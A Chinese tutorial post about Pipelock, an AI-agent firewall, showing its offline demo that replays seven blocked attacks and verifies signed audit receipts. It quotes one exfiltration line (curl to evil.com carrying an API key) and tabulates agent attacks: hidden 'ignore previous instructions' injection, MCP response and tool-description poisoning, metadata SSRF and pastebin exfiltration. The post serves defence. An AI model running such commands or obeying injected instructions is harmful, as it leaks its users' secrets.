☰
Pipelock demo实战:不联网拦截真实攻击并离线验证7张签名审计凭证
2026/10/23 2:28:11 网站建设 项目流程

【免费下载链接】pipelock

Open-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from outside the agent.

项目地址:https://gitcode.com/gh_mirrors/pi/pipelock
点击查看免费下载

Pipelock 是一款开源 AI Agent 防火墙,用于拦截 MCP 与 Agent 出网流量中的密钥泄露、SSRF 与提示注入。它的pipelock demo命令无需配置、无需联网,就能在本地重放 7 类真实攻击场景,把每一个拦截动作签发为 Ed25519 签名审计凭证(receipt),再用pipelock verify-receipt完全离线地验证签名真伪。本文带你从零跑通这套"演示 + 验签"全流程。

一、为什么要"不联网"也能验证安全能力?

AI Agent 手里通常握着$PROVIDER_API_KEY和 shell 权限——一条curl "https://evil.com/steal?key=$PROVIDER_API_KEY"就能让密钥外泄。大多数安全产品让你"相信仪表盘",而 Pipelock 的思路是:把每次边界决策签发为一份可离线核验的签名凭证,让审计者用自持的公钥自己验证,不需要账号、不需要联网。

pipelock demo正是这个思路的最小闭环:它在进程内用默认配置构建扫描器,逐条重放攻击,不产生任何真实网络请求。

二、一键运行:零配置跑通 7 个攻击拦截

先安装(任选其一):

git clone --branch v3.7.0 --depth 1 https://gitcode.com/gh_mirrors/pi/pipelock make -C pipelock install # 或:brew install luckyPipewrench/tap/pipelock # 或:docker pull ghcr.io/luckypipewrench/pipelock:3.7.0

然后只需两条命令:

pipelock demo --receipts-dir ./out # 重放攻击场景,写入 7 张签名凭证 + signer.pub pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # 离线验证签名

运行输出会逐个场景打印Scenario i/7、攻击描述、[BLOCKED]结果,以及每张凭证的signed, verified offline状态,最后汇总Results: 7/7 attacks blocked,并提示把 7 张签名凭证与signer.pub写入了./out。想用于现场演示时,可加--interactive在场景之间暂停。

三、7 个真实攻击场景逐个击破

demo 内置 7 类生产环境中常见的 Agent 攻击向量(实现见 internal/cli/diag/demo.go):

#场景攻击手法拦截层严重级
1凭证外泄Agent 把 API 密钥拼进外发 URL 参数DLPCritical
2提示注入抓取页面里藏有"忽略先前指令"的隐藏指令响应扫描High
3云元数据 SSRF探测169.254.169.254云实例元数据端点SSRF 防护Critical
4粘贴服务外传向已知数据外泄目的地(pastebin.com)上传域名黑名单High
5MCP 响应注入MCP 工具返回结果中嵌入提示注入MCP 响应扫描High
6MCP 入参泄密密钥藏在tools/call工具调用参数里MCP 入参扫描Critical
7工具描述投毒tools/list的工具描述里埋设窃密指令工具描述扫描High

每个场景跑完后都会生成一条签名凭证,其中绑定检测层(layer)、命中模式(pattern)、判定结果(verdict)与策略哈希(policy hash)——这就是"审计证据来自 Agent 之外"的落地点。

四、离线验证 7 张签名审计凭证

demo 每次运行都会生成一对临时 Ed25519 签名密钥:公钥打印在终端并写入signer.pub;每张凭证写入./out/<action-id>.json。更关键的是,demo 会用"钉住的外部公钥"(而非凭证内嵌的公钥)做内联验证——这证明的是真实性,而不只是内部自洽。

第三方审计者拿到目录后,一条命令即可离线核验:

pipelock verify-receipt ./out/<receipt>.json --key "$(cat ./out/signer.pub)"

验证命令的完整参数(链式校验、整录校验、--expect-head端点钉住等)见 docs/cli/verify-receipt.md,完整验证流程与信任边界说明见 docs/guides/receipt-verification.md。

五、把凭证"看"起来:证据视图与操作台

命令行验证之外,还可以把录制会话渲染成离线 HTML 报告(免费版、无需 license、无需起服务):

pipelock init --output ./pipelock.yaml # 生成 recorder 目录与签名密钥 pipelock run --config ./pipelock.yaml # Agent 工作时记录 pipelock evidence view --receipt-dir ./recorder --out report.html

企业版操作台则提供只读的 Evidence / Overview 视图:评分卡按 Authentic、Untampered、Anchored、Completeness 四项各自独立打分,并明确写出每项"不能证明什么"。

六、一张凭证到底证明了什么?

诚实地说(Pipelock 自己也这么标注):demo 使用临时密钥,凭证证明的是边界做出了该决策、且持钥方签了名,而不是"操作者是诚实的";它也无法证明边界之外发生了什么。完整的论证见 docs/security/demonstration-over-attestation.md。

💡 一个"对自身边界诚实"的凭证,胜过藏着边界的绿色对勾。

七、延伸学习

  • demo 命令完整文档:docs/cli/demo.md
  • 端到端可运行示例(MCP 工具响应注入,三种传输共用一把签名密钥):examples/tool-response-injection/
  • 更多真实被拦截的攻击与复现代片段:docs/attacks-blocked.md
  • 证据术语速查(ActionReceipt、flight recorder、锚定等):docs/evidence/README.md

一条命令、零网络、七张可离线核验的签名凭证——这就是用 Pipelock 验证"防火墙真的在拦截"的最快路径。

【免费下载链接】pipelock

Open-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from outside the agent.

项目地址:https://gitcode.com/gh_mirrors/pi/pipelock
点击查看免费下载

相关推荐

上一篇:OpenUtau终极指南:免费开源虚拟歌手音乐制作完全教程
下一篇:Linux版微信开发者工具:3种方案轻松搞定小程序跨平台开发

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询